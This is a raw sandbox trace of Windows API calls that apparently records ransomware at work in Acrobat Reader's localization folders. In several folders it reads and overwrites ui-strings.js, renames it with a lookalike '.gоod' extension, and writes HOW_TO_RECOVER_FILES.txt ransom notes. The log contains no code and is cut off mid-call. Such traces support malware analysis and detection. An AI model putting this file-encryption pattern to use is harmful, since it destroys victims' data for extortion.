1 [0142.065] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pl-pl\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\pl-pl\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x650 [0142.066] GetFileType (hFile=0x650) returned 0x1 [0142.066] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0142.066] GetFileType (hFile=0x650) returned 0x1 [0142.067] WriteFile (in: hFile=0x650, lpBuffer=0x3a0b650*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x3a0b650*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0142.068] CloseHandle (hObject=0x650) returned 1 [0142.068] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0142.068] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pt-br", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pt-br", lpFilePart=0x0) returned 0x68 [0142.068] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pt-br\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0142.068] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.068] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xe45, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0142.069] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0142.069] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0142.069] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0142.069] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0142.069] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0142.069] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pt-br", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pt-br", lpFilePart=0x0) returned 0x68 [0142.069] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pt-br\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0142.069] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.069] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xe45, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0142.069] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xe45, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0142.070] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0142.070] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0142.070] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0142.070] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pt-br\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pt-br\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0142.070] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0142.070] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pt-br\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\pt-br\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3a1b208 | out: lpFileInformation=0x3a1b208*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xe45)) returned 1 [0142.070] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0142.070] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pt-br\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pt-br\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0142.070] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0142.070] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pt-br\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\pt-br\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0142.070] GetFileType (hFile=0x650) returned 0x1 [0142.070] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0142.070] GetFileType (hFile=0x650) returned 0x1 [0142.070] GetFileSize (in: hFile=0x650, lpFileSizeHigh=0x1ffebad8 | out: lpFileSizeHigh=0x1ffebad8*=0x0) returned 0xe45 [0142.243] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0142.828] ReadFile (in: hFile=0x650, lpBuffer=0x38c35f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba08, lpOverlapped=0x0 | out: lpBuffer=0x38c35f0*, lpNumberOfBytesRead=0x1ffeba08*=0xe45, lpOverlapped=0x0) returned 1 [0142.829] CloseHandle (hObject=0x650) returned 1 [0142.855] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0142.855] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pt-br\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\pt-br\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0142.856] GetFileType (hFile=0x650) returned 0x1 [0142.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0142.856] GetFileType (hFile=0x650) returned 0x1 [0142.856] WriteFile (in: hFile=0x650, lpBuffer=0x393f498*, nNumberOfBytesToWrite=0xe50, lpNumberOfBytesWritten=0x1ffeb918, lpOverlapped=0x0 | out: lpBuffer=0x393f498*, lpNumberOfBytesWritten=0x1ffeb918*=0xe50, lpOverlapped=0x0) returned 1 [0142.857] CloseHandle (hObject=0x650) returned 1 [0142.857] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pt-br\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pt-br\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0142.857] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pt-br\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pt-br\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7b [0142.857] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0142.857] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pt-br\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\pt-br\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x515d3649, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe50)) returned 1 [0142.857] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0142.857] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pt-br\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\pt-br\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pt-br\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\pt-br\\ui-strings.js.gоod")) returned 1 [0142.858] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pt-br\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pt-br\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0142.858] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0142.858] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pt-br\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\pt-br\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x650 [0142.859] GetFileType (hFile=0x650) returned 0x1 [0142.859] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0142.859] GetFileType (hFile=0x650) returned 0x1 [0142.860] WriteFile (in: hFile=0x650, lpBuffer=0x3942d08*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x3942d08*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0142.861] CloseHandle (hObject=0x650) returned 1 [0142.861] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0142.861] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ro-ro", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ro-ro", lpFilePart=0x0) returned 0x68 [0142.861] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ro-ro\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0142.861] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.862] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xefb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0142.862] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0142.862] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0142.862] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0142.862] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0142.862] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0142.862] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ro-ro", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ro-ro", lpFilePart=0x0) returned 0x68 [0142.862] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ro-ro\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0142.862] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.862] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xefb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0142.863] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xefb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0142.863] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0142.863] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0142.863] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0142.863] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ro-ro\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ro-ro\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0142.863] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0142.863] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ro-ro\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\ro-ro\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x39528c0 | out: lpFileInformation=0x39528c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xefb)) returned 1 [0142.863] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0142.863] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ro-ro\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ro-ro\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0142.863] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0142.863] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ro-ro\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\ro-ro\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0142.863] GetFileType (hFile=0x650) returned 0x1 [0142.863] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0142.864] GetFileType (hFile=0x650) returned 0x1 [0142.864] GetFileSize (in: hFile=0x650, lpFileSizeHigh=0x1ffebad8 | out: lpFileSizeHigh=0x1ffebad8*=0x0) returned 0xefb [0142.864] ReadFile (in: hFile=0x650, lpBuffer=0x3953b28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba08, lpOverlapped=0x0 | out: lpBuffer=0x3953b28*, lpNumberOfBytesRead=0x1ffeba08*=0xefb, lpOverlapped=0x0) returned 1 [0144.029] CloseHandle (hObject=0x650) returned 1 [0144.088] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0144.088] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ro-ro\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\ro-ro\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0144.089] GetFileType (hFile=0x7f8) returned 0x1 [0144.089] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0144.089] GetFileType (hFile=0x7f8) returned 0x1 [0144.089] WriteFile (in: hFile=0x7f8, lpBuffer=0x361ca80*, nNumberOfBytesToWrite=0xf00, lpNumberOfBytesWritten=0x1ffeb918, lpOverlapped=0x0 | out: lpBuffer=0x361ca80*, lpNumberOfBytesWritten=0x1ffeb918*=0xf00, lpOverlapped=0x0) returned 1 [0144.090] CloseHandle (hObject=0x7f8) returned 1 [0144.090] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ro-ro\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ro-ro\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0144.090] GetFullPathNameW (in: 